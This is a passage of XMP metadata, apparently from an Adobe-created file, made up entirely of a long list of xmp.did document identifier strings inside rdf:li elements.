               <rdf:li>xmp.did:427355F87D72DF1187B9F56D946BF1E2</rdf:li>
               <rdf:li>xmp.did:427629EB1F7AE011BC6ADBE9D9257556</rdf:li>
               <rdf:li>xmp.did:42909406645FE011964FE99A58EBB358</rdf:li>
               <rdf:li>xmp.did:42A420138E5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:42AB1B5C1F20681197A5DEA0680BC756</rdf:li>
               <rdf:li>xmp.did:42B79C4D1720681188C69E9C0DE8906E</rdf:li>
               <rdf:li>xmp.did:42C8435B1F206811A9619D3E69A42F4A</rdf:li>
               <rdf:li>xmp.did:42DD52B8322068118F62C099F7DFBA1B</rdf:li>
               <rdf:li>xmp.did:42F3A7629BC6E111AE71F443C8391A7B</rdf:li>
               <rdf:li>xmp.did:433129A121206811994CA7F06A9500A2</rdf:li>
               <rdf:li>xmp.did:433F53F58D5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:43487F5815BCE011B0BBD5E3244285CA</rdf:li>
               <rdf:li>xmp.did:4354FEA3C65A11DF8B5B8C5E760EDE1C</rdf:li>
               <rdf:li>xmp.did:43631DCBCBA0E01188B3D59C3D6D8E4F</rdf:li>
               <rdf:li>xmp.did:4364ED01B258E211B93ABAC2D28255DF</rdf:li>
               <rdf:li>xmp.did:4372F9544347E111A974861A88B3D67A</rdf:li>
               <rdf:li>xmp.did:4384C9301ABE11E0808CBC756D63EBF2</rdf:li>
               <rdf:li>xmp.did:438BF6BE6090E01191B3CB418B597E96</rdf:li>
               <rdf:li>xmp.did:43CB3B790720681188C6FBA7DFD8364D</rdf:li>
               <rdf:li>xmp.did:43F54A32D91BDE118669B9F516B6FB21</rdf:li>
               <rdf:li>xmp.did:43F5F59A38BCE011B8E7F3E7159A1090</rdf:li>
               <rdf:li>xmp.did:442985B0CADADF119399D8810BC9A38D</rdf:li>
               <rdf:li>xmp.did:44569F2270206811B540D1205A8C4334</rdf:li>
               <rdf:li>xmp.did:447B03E78771E011B954B24D7E79DAB8</rdf:li>
               <rdf:li>xmp.did:44B8C7F313206811AE56E6B1951A8B11</rdf:li>
               <rdf:li>xmp.did:44BA610FF715E011850FA901B4C1B675</rdf:li>
               <rdf:li>xmp.did:44C1E0A6112B68118F6292E2E21F9CF4</rdf:li>
               <rdf:li>xmp.did:44DD59AD2520681188C6AE32EA398297</rdf:li>
               <rdf:li>xmp.did:453680A25EC9DF11A86DDD161CFCEB0D</rdf:li>
               <rdf:li>xmp.did:45599B5D3BDFDF11AD98D0CC567A99E5</rdf:li>
               <rdf:li>xmp.did:457F82CF0D8DE0118C71B9C89439E071</rdf:li>
               <rdf:li>xmp.did:4582F7613448DF11AD0C84D94E5D43BD</rdf:li>
               <rdf:li>xmp.did:4588AADD3501E11193F396B06FC6D174</rdf:li>
               <rdf:li>xmp.did:4590A1312920681188C6D159E68FEEFA</rdf:li>
               <rdf:li>xmp.did:459164078E5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:4598694A18206811871FDDA91FB9E95E</rdf:li>
               <rdf:li>xmp.did:45BDF91B4F49DF11A1AEFB5A864AA7E1</rdf:li>
               <rdf:li>xmp.did:45BF49C464C8E011BEF0A37AC8AFF6B8</rdf:li>
               <rdf:li>xmp.did:45F62045FF1CE211BF1CBEAB02877C54</rdf:li>
               <rdf:li>xmp.did:4618A328212068118DBBA997D43539B9</rdf:li>
               <rdf:li>xmp.did:462B800BD45DE011BB0EAD528CC88556</rdf:li>
               <rdf:li>xmp.did:463826EE1895DF118D69EC6829104E8E</rdf:li>
               <rdf:li>xmp.did:463C55EC1F206811871F9753D344F7A3</rdf:li>
               <rdf:li>xmp.did:4640EA1197DCE1118E89A806EF65A4BF</rdf:li>
               <rdf:li>xmp.did:467BC227042FE0118DBCD74D9C0CA582</rdf:li>
               <rdf:li>xmp.did:468340F9732068119109E778D4D6DEC4</rdf:li>
               <rdf:li>xmp.did:4698694A18206811871FDDA91FB9E95E</rdf:li>
               <rdf:li>xmp.did:46A4BD4517206811A206DF2425666865</rdf:li>
               <rdf:li>xmp.did:46A95EEE9FBFE011B0BBD5E3244285CA</rdf:li>
               <rdf:li>xmp.did:46AB7E0D2730DF119042AD88AD5F9FC9</rdf:li>
               <rdf:li>xmp.did:46CB33AE22CFE111A5B8C721CE46C1A3</rdf:li>
               <rdf:li>xmp.did:46E39520AEB8E011AEBCBCB1E3A15768</rdf:li>
               <rdf:li>xmp.did:46FDAC28978AE0118DBED2E4485D9FF1</rdf:li>
               <rdf:li>xmp.did:476DABBEBE2068118F62B3176EE25187</rdf:li>
               <rdf:li>xmp.did:4792FC9E746111E0863DB905ABBA21F6</rdf:li>
               <rdf:li>xmp.did:47978C42CFB0E0119D6F9C0C98B703B4</rdf:li>
               <rdf:li>xmp.did:4798694A18206811871FDDA91FB9E95E</rdf:li>
               <rdf:li>xmp.did:47A025DDA507E011BCC496E451D7DB93</rdf:li>
               <rdf:li>xmp.did:47AF3B7F092068119457BE438AA02035</rdf:li>
               <rdf:li>xmp.did:47DC4834402068118083EBEB5CDE0BFF</rdf:li>
               <rdf:li>xmp.did:47E64BCD06B0DF119D1E900F0C0032CD</rdf:li>
               <rdf:li>xmp.did:4804CD8307206811AE56F87BB2B8114A</rdf:li>
               <rdf:li>xmp.did:480B7E46AF78DF11A825CF8DE5D91DF7</rdf:li>
               <rdf:li>xmp.did:4814DD170A21681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:48228CB7A1F2DF11AFF4F9E4192E567B</rdf:li>
               <rdf:li>xmp.did:482985B0CADADF119399D8810BC9A38D</rdf:li>
               <rdf:li>xmp.did:487248DC0720681192B0F1027B0A6901</rdf:li>
               <rdf:li>xmp.did:4898694A18206811871FDDA91FB9E95E</rdf:li>
               <rdf:li>xmp.did:489D01DA1B7AE011A10E93774CF62BFF</rdf:li>
               <rdf:li>xmp.did:48B3A7A23CCFDF118F31D6D8ACE6A8C6</rdf:li>
               <rdf:li>xmp.did:48B7BD0BD1F1DF11911DAE3F77A72C12</rdf:li>
               <rdf:li>xmp.did:48B8C7F313206811AE56E6B1951A8B11</rdf:li>
               <rdf:li>xmp.did:48DC42064CCD11E1BA59C1433522F229</rdf:li>
               <rdf:li>xmp.did:48F5EFE5AE80E0118A91AF6880B6674F</rdf:li>
               <rdf:li>xmp.did:48F96FD70F20681197A583613BA809CA</rdf:li>
               <rdf:li>xmp.did:490F1294772068118F62CA3F9DC2F6E5</rdf:li>
               <rdf:li>xmp.did:491128E6FB1EE0119379A4F677F56E27</rdf:li>
               <rdf:li>xmp.did:494AFE84777DDF118929E3EE1EDD477C</rdf:li>
               <rdf:li>xmp.did:496823831E2068118F1CFECA782915C6</rdf:li>
               <rdf:li>xmp.did:497117AA8163E111817496121A8AFF0B</rdf:li>
               <rdf:li>xmp.did:4978DD280123681192B0CABB2874AF0C</rdf:li>
               <rdf:li>xmp.did:4998694A18206811871FDDA91FB9E95E</rdf:li>
               <rdf:li>xmp.did:499E2774072068118A6DBA3BC4C4C947</rdf:li>
               <rdf:li>xmp.did:49A23D7066A6DF11B883CD1466465EA1</rdf:li>
               <rdf:li>xmp.did:49D52DB6D97FE011A6D9D3953F107786</rdf:li>
               <rdf:li>xmp.did:49E19BF1EB69E111ACA2D8EAE4203822</rdf:li>
               <rdf:li>xmp.did:4A09E6560B2368119109EBB0DC425B39</rdf:li>
               <rdf:li>xmp.did:4A0B54411320681188C692E5F570717E</rdf:li>
               <rdf:li>xmp.did:4A0CBE8F945CE0119B94E398813E13AB</rdf:li>
               <rdf:li>xmp.did:4A106535C345E0119E82A9997E4B71EC</rdf:li>
               <rdf:li>xmp.did:4A2985B0CADADF119399D8810BC9A38D</rdf:li>
               <rdf:li>xmp.did:4A43537A07206811871F9E1AEE0892CC</rdf:li>
               <rdf:li>xmp.did:4A4B241D0E20681188C6FB115CEDFE88</rdf:li>
               <rdf:li>xmp.did:4A689B3155206811ACAFD1AC3EDA6BDE</rdf:li>
               <rdf:li>xmp.did:4A6E5A058E5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:4A7E425C4D206811ACAFB4B4686089A0</rdf:li>
               <rdf:li>xmp.did:4A8BD5A50C206811994C93E14554AB47</rdf:li>
               <rdf:li>xmp.did:4A8C0966283CE1119F46F8A9D2E2EB8C</rdf:li>
               <rdf:li>xmp.did:4A98694A18206811871FDDA91FB9E95E</rdf:li>
               <rdf:li>xmp.did:4AC221CF07206811B4F2ECC5CA197BE3</rdf:li>
               <rdf:li>xmp.did:4AE01A740720681188C684C5D3396C33</rdf:li>
               <rdf:li>xmp.did:4B04CD8307206811AE56F87BB2B8114A</rdf:li>
               <rdf:li>xmp.did:4B12AF1A50216811AF5C82C8D4EEE19A</rdf:li>
               <rdf:li>xmp.did:4B1B4C0A1009DF11BD51F318E9EDA9E8</rdf:li>
               <rdf:li>xmp.did:4B2F48FD3ACEE011B5AE8AFF6D15D3CC</rdf:li>
               <rdf:li>xmp.did:4B5D404C2A2068119109DE5F0D426E46</rdf:li>
               <rdf:li>xmp.did:4B67294ADAABE0118527B8EAFF3D3500</rdf:li>
               <rdf:li>xmp.did:4B98694A18206811871FDDA91FB9E95E</rdf:li>
               <rdf:li>xmp.did:4B9E6D6B2B206811994C8C2EC6E89E52</rdf:li>
               <rdf:li>xmp.did:4BC51F780E2068119109FA8BCB39A464</rdf:li>
               <rdf:li>xmp.did:4BF27E6950216811A613FACC98434A0A</rdf:li>
               <rdf:li>xmp.did:4C193C3B4A2768118083F8C011EAC4F0</rdf:li>
               <rdf:li>xmp.did:4C36F7B02D206811997AD6682DF0B77E</rdf:li>
               <rdf:li>xmp.did:4C4D4D899EF7DD1180199D0A99EB683F</rdf:li>
               <rdf:li>xmp.did:4C51B774A17011E0A528DEF2AC8C55C6</rdf:li>
               <rdf:li>xmp.did:4C6E5A058E5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:4C8C79BCDBF8DF11A111C57C46790BC9</rdf:li>
               <rdf:li>xmp.did:4C92F1496CACE011A3729B4023C59A8E</rdf:li>
               <rdf:li>xmp.did:4C98694A18206811871FDDA91FB9E95E</rdf:li>
               <rdf:li>xmp.did:4CA1D100CDC1DF11AAC7DEF7E9EA2229</rdf:li>
               <rdf:li>xmp.did:4CC3CAA7C183E0119648DED3B0C5E82F</rdf:li>
               <rdf:li>xmp.did:4CC4A37B092068118DBBAF47CB072C7E</rdf:li>
               <rdf:li>xmp.did:4CD88653D3F211DF8C5D93A5C62A27A8</rdf:li>
               <rdf:li>xmp.did:4CDA76DA3520681188C6CC41240299E2</rdf:li>
               <rdf:li>xmp.did:4CF62045FF1CE211BF1CBEAB02877C54</rdf:li>
               <rdf:li>xmp.did:4D1DDC43B313E011A748E9376C2E7668</rdf:li>
               <rdf:li>xmp.did:4D550FCF0D2068118DBBE78380E08E1D</rdf:li>
               <rdf:li>xmp.did:4D98694A18206811871FDDA91FB9E95E</rdf:li>
               <rdf:li>xmp.did:4DBEA27977A8DF118F21D1D567EF8AD7</rdf:li>
               <rdf:li>xmp.did:4DCB8A30914DE011BD63DE0802894CA1</rdf:li>
               <rdf:li>xmp.did:4DDC4834402068118083EBEB5CDE0BFF</rdf:li>
               <rdf:li>xmp.did:4DFA9B360DFBE011B607F9226EC863FA</rdf:li>
               <rdf:li>xmp.did:4DFE631B1C2068119109D986A10A20A5</rdf:li>
               <rdf:li>xmp.did:4E0FECBC2E2068118A6DD7573F87E2BC</rdf:li>
               <rdf:li>xmp.did:4E2A12FF272068118DBBF1E759913209</rdf:li>
               <rdf:li>xmp.did:4E2CF52823FBE111B977E6EB5F91457E</rdf:li>
               <rdf:li>xmp.did:4E370FAC282068118DBB8029A59774F4</rdf:li>
               <rdf:li>xmp.did:4E4ED59C4EE411E09C1D80C41CD3218B</rdf:li>
               <rdf:li>xmp.did:4E4ED5A04EE411E09C1D80C41CD3218B</rdf:li>
               <rdf:li>xmp.did:4E5BCDD097A8E011B01BA4DFDBC23FA5</rdf:li>
               <rdf:li>xmp.did:4E9055E10A2068119109DBB452A14071</rdf:li>
               <rdf:li>xmp.did:4E96D8071320681191099262B251A4F6</rdf:li>
               <rdf:li>xmp.did:4E99A86EF541DF11B948936BFEB99B26</rdf:li>
               <rdf:li>xmp.did:4EB9909142206811AFAFA1C695C069D9</rdf:li>
               <rdf:li>xmp.did:4EC18DE555A1E01184BFDA78B2B86BCD</rdf:li>
               <rdf:li>xmp.did:4EE01A740720681188C684C5D3396C33</rdf:li>
               <rdf:li>xmp.did:4EED7BDF2AA8E211BE24F901538768F0</rdf:li>
               <rdf:li>xmp.did:4EF408E42539E011A25BF4FBC46A1DAC</rdf:li>
               <rdf:li>xmp.did:4F136AB72420681194A7C99C69C36929</rdf:li>
               <rdf:li>xmp.did:4F14F7CA9A90E111A885BFE2796BED25</rdf:li>
               <rdf:li>xmp.did:4F2FBD5B3833E211ABC1ADC0DA5AC883</rdf:li>
               <rdf:li>xmp.did:4F43053BB421681192B0A64B4373937D</rdf:li>
               <rdf:li>xmp.did:4F5CE27507206811A70FD4B90B7BBEFF</rdf:li>
               <rdf:li>xmp.did:4F6BB8702C206811871FE169E7DC3C98</rdf:li>
               <rdf:li>xmp.did:4FB9909142206811AFAFA1C695C069D9</rdf:li>
               <rdf:li>xmp.did:500A9AE2DD206811A613B4EE39B4D58C</rdf:li>
               <rdf:li>xmp.did:500F5EDF2F50DF11922CB8ED6241084E</rdf:li>
               <rdf:li>xmp.did:501167C17451E0119063CB825D612016</rdf:li>
               <rdf:li>xmp.did:5020D8D413206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:5032E746EBDCDD118BB0ED485B2406E3</rdf:li>
               <rdf:li>xmp.did:505381322485E011BD3DE9624629426F</rdf:li>
               <rdf:li>xmp.did:5054560A6AA4E0118572CAAB95E2A5D7</rdf:li>
               <rdf:li>xmp.did:505E63F06E84E1119E48E96640520FD5</rdf:li>
               <rdf:li>xmp.did:506E5A058E5EDF11995DC2BC3CE2A790</rdf:li>
               <rdf:li>xmp.did:507BD60A0B2068118DBBA622512CB8CA</rdf:li>
               <rdf:li>xmp.did:507C99E1CA246811822A9DE237CFC96E</rdf:li>
               <rdf:li>xmp.did:50A86F6D0527E01192AAE96AC97A2AE6</rdf:li>
               <rdf:li>xmp.did:50B45660211DE111B7F4C46FCD5E609C</rdf:li>
               <rdf:li>xmp.did:50C21CC39CC9E111BF2BDD3BB273CDC0</rdf:li>
               <rdf:li>xmp.did:50F0464C0C2068118089E259502D6AC2</rdf:li>
               <rdf:li>xmp.did:50F818BB2C2068118F3F9CA6E93ED2F8</rdf:li>
               <rdf:li>xmp.did:50FA132813D2E0118941E6128113B5FB</rdf:li>
               <rdf:li>xmp.did:512F45E813206811994C99EB1C6AE59B</rdf:li>
               <rdf:li>xmp.did:51400AC417AFDF11ABC1C0A941247FAF</rdf:li>
               <rdf:li>xmp.did:514F67C5E3A0DF1198F8A7B931697359</rdf:li>
               <rdf:li>xmp.did:51546FDD1320681192B0BAA904DE0F8D</rdf:li>
               <rdf:li>xmp.did:517E3045CBDADF119399D8810BC9A38D</rdf:li>
               <rdf:li>xmp.did:519BE5F0BA5FE011A191C9DDAE1475CA</rdf:li>
               <rdf:li>xmp.did:51A9C76A0920681188C6D6A9647DE051</rdf:li>
               <rdf:li>xmp.did:51B82BC8222068118A6D8F7F76AB4DDC</rdf:li>
               <rdf:li>xmp.did:51C1948A8EF5DF118C8B9EDB021AC112</rdf:li>
               <rdf:li>xmp.did:51E06CC98CC6E11199AC945F0F56FDE4</rdf:li>
               <rdf:li>xmp.did:51EEA0C14B2068118A6DEDAB34E6E7B9</rdf:li>
               <rdf:li>xmp.did:52101AB09246E1118964E0CC9D64CE4E</rdf:li>
               <rdf:li>xmp.did:5232646C26CBDF1190EAEC1F0BACD3F2</rdf:li>
               <rdf:li>xmp.did:52716E74072068118A6DA860921C505C</rdf:li>
               <rdf:li>xmp.did:5287474D5FC1DF11936FCDDF67FFE390</rdf:li>
               <rdf:li>xmp.did:52910D990C206811A961A044C143500B</rdf:li>
               <rdf:li>xmp.did:529B618323206811822AB684E0C1A7E7</rdf:li>
               <rdf:li>xmp.did:52A2D9790A2068118C14D0600B105B47</rdf:li>
               <rdf:li>xmp.did:52A78DE70D40DF11B592ED4FEDEAEC5D</rdf:li>
               <rdf:li>xmp.did:52B6AC4C8B3BE111A470E157AAC57276</rdf:li>
               <rdf:li>xmp.did:52C73C651A2068118DBBF9A3B7BEBF77</rdf:li>
               <rdf:li>xmp.did:52F7256C5F6AE2118DB1A6330A560922</rdf:li>
               <rdf:li>xmp.did:52F757F1372068119109E4A43CE530D0</rdf:li>
               <rdf:li>xmp.did:52F7F29672BFE01194A4D852F2BA19F5</rdf:li>
               <rdf:li>xmp.did:52FA13CE4F5DDF11AFDEEEB6E3C95755</rdf:li>
               <rdf:li>xmp.did:530555D9A488DE119D56E23D1C7DD777</rdf:li>
               <rdf:li>xmp.did:530FC3AA3B206811AED0C0F18A65B0D1</rdf:li>
               <rdf:li>xmp.did:53101AB09246E1118964E0CC9D64CE4E</rdf:li>
               <rdf:li>xmp.did:5360A0DEB66BE211AADFED07B1CB919A</rdf:li>
               <rdf:li>xmp.did:538106CE322068119194DAF0E968D0E4</rdf:li>
               <rdf:li>xmp.did:538F8AD33C23681188C6E3B2AFCF6608</rdf:li>
               <rdf:li>xmp.did:53A5784D16FDE1118AD1F7B754770D56</rdf:li>
               <rdf:li>xmp.did:53AFA94BE4C5DF11AF76D9EA40AAE7CA</rdf:li>
               <rdf:li>xmp.did:53BCA66DFFD1E0119A53C323D7BD26A4</rdf:li>
               <rdf:li>xmp.did:5402D5F2694E11E0BFDAE60DF494EB06</rdf:li>
               <rdf:li>xmp.did:541990DF222068118A6DA5F77CBEE864</rdf:li>
               <rdf:li>xmp.did:543A798F1307E011846FE8C04D3C8DEC</rdf:li>
               <rdf:li>xmp.did:54546FDD1320681192B0BAA904DE0F8D</rdf:li>
               <rdf:li>xmp.did:5469E90D4A72DF119D54C6C3DCAFBAAA</rdf:li>
               <rdf:li>xmp.did:5486A1697EDD11E088DA9F4613AD5153</rdf:li>
               <rdf:li>xmp.did:5487474D5FC1DF11936FCDDF67FFE390</rdf:li>
               <rdf:li>xmp.did:5496D8071320681191099262B251A4F6</rdf:li>
               <rdf:li>xmp.did:54C3F9F8BDAEDF11A5DC959C82ABC9E1</rdf:li>
               <rdf:li>xmp.did:5503B1F194B6E01190A89C4CCC2D4F9B</rdf:li>
               <rdf:li>xmp.did:556E056A4621681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:5575E5993879DF11B8DDA0E346A0AACF</rdf:li>
               <rdf:li>xmp.did:55763C86B750E111B9B5B969DE405C19</rdf:li>
               <rdf:li>xmp.did:557C3906982068118A6DE97127904156</rdf:li>
               <rdf:li>xmp.did:557C42AE992068118F42CFE2A9EBEA82</rdf:li>
               <rdf:li>xmp.did:5585FEDB4138E01196DA98B22CB5CB55</rdf:li>
               <rdf:li>xmp.did:559FCD3B527ADF118914DEB1351761F1</rdf:li>
               <rdf:li>xmp.did:55A198E13B26E111BEC0C1F7AD9B25D5</rdf:li>
               <rdf:li>xmp.did:55A5784D16FDE1118AD1F7B754770D56</rdf:li>
               <rdf:li>xmp.did:55C093961E2068118083EBC7D6F18424</rdf:li>
               <rdf:li>xmp.did:55C842A19A3111E19BE4C7C0251D0A6F</rdf:li>
               <rdf:li>xmp.did:55DD27C8757F11E1A8CEA9FD08112F94</rdf:li>
               <rdf:li>xmp.did:55DD27CC757F11E1A8CEA9FD08112F94</rdf:li>
               <rdf:li>xmp.did:55F2287407206811A70FD4B90B7BBEFF</rdf:li>
               <rdf:li>xmp.did:55F4AA62DAA6E011A884EDE1F75616AC</rdf:li>
               <rdf:li>xmp.did:55F825699070E011B1BBA7B5796E7461</rdf:li>
               <rdf:li>xmp.did:56249AD413206811A61383ACB7205BF3</rdf:li>
               <rdf:li>xmp.did:56456231E9A3DF118AB6CF8503A226FA</rdf:li>
               <rdf:li>xmp.did:5666D022C4EAE011ABAEB46FA81D72C8</rdf:li>
               <rdf:li>xmp.did:5687474D5FC1DF11936FCDDF67FFE390</rdf:li>
               <rdf:li>xmp.did:5687B09A89AEE2118C4D92FF428730FF</rdf:li>
               <rdf:li>xmp.did:56998FA184D1E111AE549D592D20C6C8</rdf:li>
               <rdf:li>xmp.did:56BE76592632E1119802975DECEC9250</rdf:li>
               <rdf:li>xmp.did:56EAD66EECEDE1118EBDD2792BC326D4</rdf:li>
               <rdf:li>xmp.did:56EEFE691035DF11AB2FE3EEC7AEDF2B</rdf:li>
               <rdf:li>xmp.did:56F7256C5F6AE2118DB1A6330A560922</rdf:li>
               <rdf:li>xmp.did:56FD0742357AE1118349FA99D447291B</rdf:li>
               <rdf:li>xmp.did:5701AC3D8888E111B1D58B42068AA76B</rdf:li>
               <rdf:li>xmp.did:5710D430DBDEDF11A01B963F18D1E5FD</rdf:li>
               <rdf:li>xmp.did:57385391DC90E011BB7ED19B48A21656</rdf:li>
               <rdf:li>xmp.did:576085FEFF03E0119437AF301FD75868</rdf:li>
               <rdf:li>xmp.did:57634AA2202411689C29E19EA61245D0</rdf:li>
               <rdf:li>xmp.did:57755E48792068118DBBC951C2B0319E</rdf:li>
               <rdf:li>xmp.did:577969B29D5011DF8B1491785F4DE9BB</rdf:li>
               <rdf:li>xmp.did:579B50C21853E111905F898020A3A428</rdf:li>
               <rdf:li>xmp.did:581B5879EAAEE111BD339E7890347F95</rdf:li>
               <rdf:li>xmp.did:58316A45F5F5DF11807F8C8A28F8A117</rdf:li>
               <rdf:li>xmp.did:583BD1F31720681191098946CB8DAAB6</rdf:li>
               <rdf:li>xmp.did:5848DA6DFE48E1118F13DDC0C5FF9AA4</rdf:li>
               <rdf:li>xmp.did:585BBF1B01B6DF11AA09B180E60AB9EC</rdf:li>
               <rdf:li>xmp.did:5887474D5FC1DF11936FCDDF67FFE390</rdf:li>
               <rdf:li>xmp.did:588A01C8DB24681197A5A85988FC8512</rdf:li>
               <rdf:li>xmp.did:58B2DD181020681197A5CF02E0728B84</rdf:li>
               <rdf:li>xmp.did:58F25E74072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:58F757F1372068119109E4A43CE530D0</rdf:li>
               <rdf:li>xmp.did:58FA7975072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:591495083545E011A6508A8D953AD54D</rdf:li>
               <rdf:li>xmp.did:5914D84CF8B1E111A9CE889B823E764B</rdf:li>
               <rdf:li>xmp.did:593E6CA71120681188C69B8C88BD3CC1</rdf:li>
               <rdf:li>xmp.did:598C06666BA2E011B3FEDA7E94BF8D77</rdf:li>
               <rdf:li>xmp.did:59B25B4D66D0DF11B523B3B7AE6AC7C0</rdf:li>
               <rdf:li>xmp.did:59B2DD181020681197A5CF02E0728B84</rdf:li>
               <rdf:li>xmp.did:59B6A12972B3E0119432A0242A8BCEA2</rdf:li>
               <rdf:li>xmp.did:59CE73698DB6E01190A89C4CCC2D4F9B</rdf:li>
               <rdf:li>xmp.did:59D8B4E85850DF11B19CCAD5C01FAD53</rdf:li>
               <rdf:li>xmp.did:59E51874072068118A6DF8AC6E5A4138</rdf:li>
               <rdf:li>xmp.did:59F25E74072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:59F62428F37EDF11928CE252CAD94E87</rdf:li>
               <rdf:li>xmp.did:59FA7975072068118A6DB7170A660991</rdf:li>
               <rdf:li>xmp.did:5A1495083545E011A6508A8D953AD54D</rdf:li>
               <rdf:li>xmp.did:5A179B25D97BE0119FD6B1EE1B8E6F60</rdf:li>
               <rdf:li>xmp.did:5A44B5C96DF5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:5A6EEDE78317DF11B421C907A88C7B11</rdf:li>
               <rdf:li>xmp.did:5A71F81D967BDF11B955AF61E0FAB1BB</rdf:li>
               <rdf:li>xmp.did:5A7857A71A2068118F62FE65054DA858</rdf:li>
               <rdf:li>xmp.did:5A8A01C8DB24681197A5A85988FC8512</rdf:li>
               <rdf:li>xmp.did:5A9FC7451C48E111A70AEC739F0ED275</rdf:li>
               <rdf:li>xmp.did:5AB2DD181020681197A5CF02E0728B84</rdf:li>
               <rdf:li>xmp.did:5ACA778625C1E01180B9D22014B81B82</rdf:li>
               <rdf:li>xmp.did:5AD9FB666197DF118258E3F04E6D4AE5</rdf:li>
               <rdf:li>xmp.did:5AE88718132068119F578C08AB634DFA</rdf:li>
               <rdf:li>xmp.did:5AF1507FD020681195FEC14839958F75</rdf:li>
               <rdf:li>xmp.did:5B00864E4767E01197F3F9B0477D6229</rdf:li>
               <rdf:li>xmp.did:5B08D2EBF9C7E0118120877E7D8B11F3</rdf:li>
               <rdf:li>xmp.did:5B14D84CF8B1E111A9CE889B823E764B</rdf:li>
               <rdf:li>xmp.did:5B22076E792068118DBBC951C2B0319E</rdf:li>
               <rdf:li>xmp.did:5B3E6CA71120681188C69B8C88BD3CC1</rdf:li>
               <rdf:li>xmp.did:5B6DD2B74584DF11B7248B7DDF794A1A</rdf:li>
               <rdf:li>xmp.did:5B72C03D2B7EE1119B6EF1DFD8CCEB4F</rdf:li>
               <rdf:li>xmp.did:5BAA49790720681188C6FBA7DFD8364D</rdf:li>
               <rdf:li>xmp.did:5BAB3D4B757AE111B347AF7ABFD04589</rdf:li>
               <rdf:li>xmp.did:5BCE73698DB6E01190A89C4CCC2D4F9B</rdf:li>
               <rdf:li>xmp.did:5C275274072068118A6DA860921C505C</rdf:li>
               <rdf:li>xmp.did:5C44B5C96DF5DE11B0C3D17AAC70FF03</rdf:li>
               <rdf:li>xmp.did:5C4C700964DDE011B9D38DC322286530</rdf:li>
               <rdf:li>xmp.did:5C5ED522282EDF11A463BFE9B18FCAD7</rdf:li>
               <rdf:li>xmp.did:5C64F8F2FA8DE111B231C5825DA2FE2F</rdf:li>
               <rdf:li>xmp.did:5C68577807206811A9A48DA9A631D3AD</rdf:li>
               <rdf:li>xmp.did:5C810BCA432068118F62F8D9147DC05A</rdf:li>
               <rdf:li>xmp.did:5C8A01C8DB24681197A5A85988FC8512</rdf:li>
               <rdf:li>xmp.did:5CAC3B5AF977E011AC53A76EEAD13040</rdf:li>
               <rdf:li>xmp.did:5CB2DD181020681197A5CF02E0728B84</rdf:li>
               <rdf:li>xmp.did:5CB6A12972B3E0119432A0242A8BCEA2</rdf:li>
               <rdf:li>xmp.did:5CC9A4A4789ADF11B8848864C8F41897</rdf:li>
               <rdf:li>xmp.did:5CEC9C6EC13DE011A0BEF8DDCFC32D6A</rdf:li>
               <rdf:li>xmp.did:5D097F0C3BCADF119E3AB53608FE5D95</rdf:li>
               <rdf:li>xmp.did:5D0CDBD57F76E011BA3CF330558605BE</rdf:li>
               <rdf:li>xmp.did:5D39D821947CE01190B4F67E44E54A7F</rdf:li>
               <rdf:li>xmp.did:5D3E6CA71120681188C69B8C88BD3CC1</rdf:li>
               <rdf:li>xmp.did:5D53AAAD0A2368118A6DABE9D0F4809A</rdf:li>
               <rdf:li>xmp.did:5D7E93F5833411E0B62FB7127DA0FEAF</rdf:li>
               <rdf:li>xmp.did:5D99A4C40AAAE0119062F70E795A08BE</rdf:li>
               <rdf:li>xmp.did:5DA4878B9B80E01194EBCEEABE793174</rdf:li>
               <rdf:li>xmp.did:5DB8D27E6CA8E01183CFEF8FB8CA55A5</rdf:li>
               <rdf:li>xmp.did:5DD8DD67082068118A6DF6FE97EAF5F6</rdf:li>
               <rdf:li>xmp.did:5DDCCE3717206811ACAFF50E4740FFA6</rdf:li>
               <rdf:li>xmp.did:5DE7C465E499E011A42DEC14C3EFCAEC</rdf:li>
               <rdf:li>xmp.did:5DEA28BF0A20681191098CDF369CA920</rdf:li>
               <rdf:li>xmp.did:5DF3E28C692068118F7AAD43F3D32007</rdf:li>
               <rdf:li>xmp.did:5E0D7F4020321168A2C5DD4F36988EF3</rdf:li>
               <rdf:li>xmp.did:5E0D7F4220321168A2C5DD4F36988EF3</rdf:li>
               <rdf:li>xmp.did:5E1C88E1FC20681188C696DC609994EC</rdf:li>
               <rdf:li>xmp.did:5E1F583BC004E01190908DAD431663A3</rdf:li>
               <rdf:li>xmp.did:5E30307A27226811A101D3F3FF0540FB</rdf:li>
               <rdf:li>xmp.did:5E8A01C8DB24681197A5A85988FC8512</rdf:li>
               <rdf:li>xmp.did:5EAD5F74072068118A6D9C4A68608D9B</rdf:li>
               <rdf:li>xmp.did:5EBE77FD1D20681197A5DB0A2376EAAB</rdf:li>
               <rdf:li>xmp.did:5EC857194DD3E0118BBCBA5E7FF86AF5</rdf:li>
               <rdf:li>xmp.did:5EECD24E10F811E08FC9F1C9DEA513F6</rdf:li>
               <rdf:li>xmp.did:5EF6E033572FE011A924FF15510F1797</rdf:li>
               <rdf:li>xmp.did:5EFFC5F28A22681197A58A01E25A7882</rdf:li>
               <rdf:li>xmp.did:5F0079D829206811B1A4D56600D919C7</rdf:li>
               <rdf:li>xmp.did:5F11FEF76E5CE1118611896565E2D79E</rdf:li>
               <rdf:li>xmp.did:5F2CF7595D206811994CE68A7A8A9137</rdf:li>
               <rdf:li>xmp.did:5F3A3C4F9408E21191168A609236DE5A</rdf:li>
               <rdf:li>xmp.did:5F46B772AA41E1119382D619434A0AF9</rdf:li>
               <rdf:li>xmp.did:5F4BFDF37F1ADF119CB8E7D742FA3A25</rdf:li>
               <rdf:li>xmp.did:5F576EBB142068118083F25F6D242A3D</rdf:li>
               <rdf:li>xmp.did:5F5A1398E1F6DE118A4D938515C27EED</rdf:li>
               <rdf:li>xmp.did:5F9422487DB0E111ACD6A84F7FE27FBC</rdf:li>
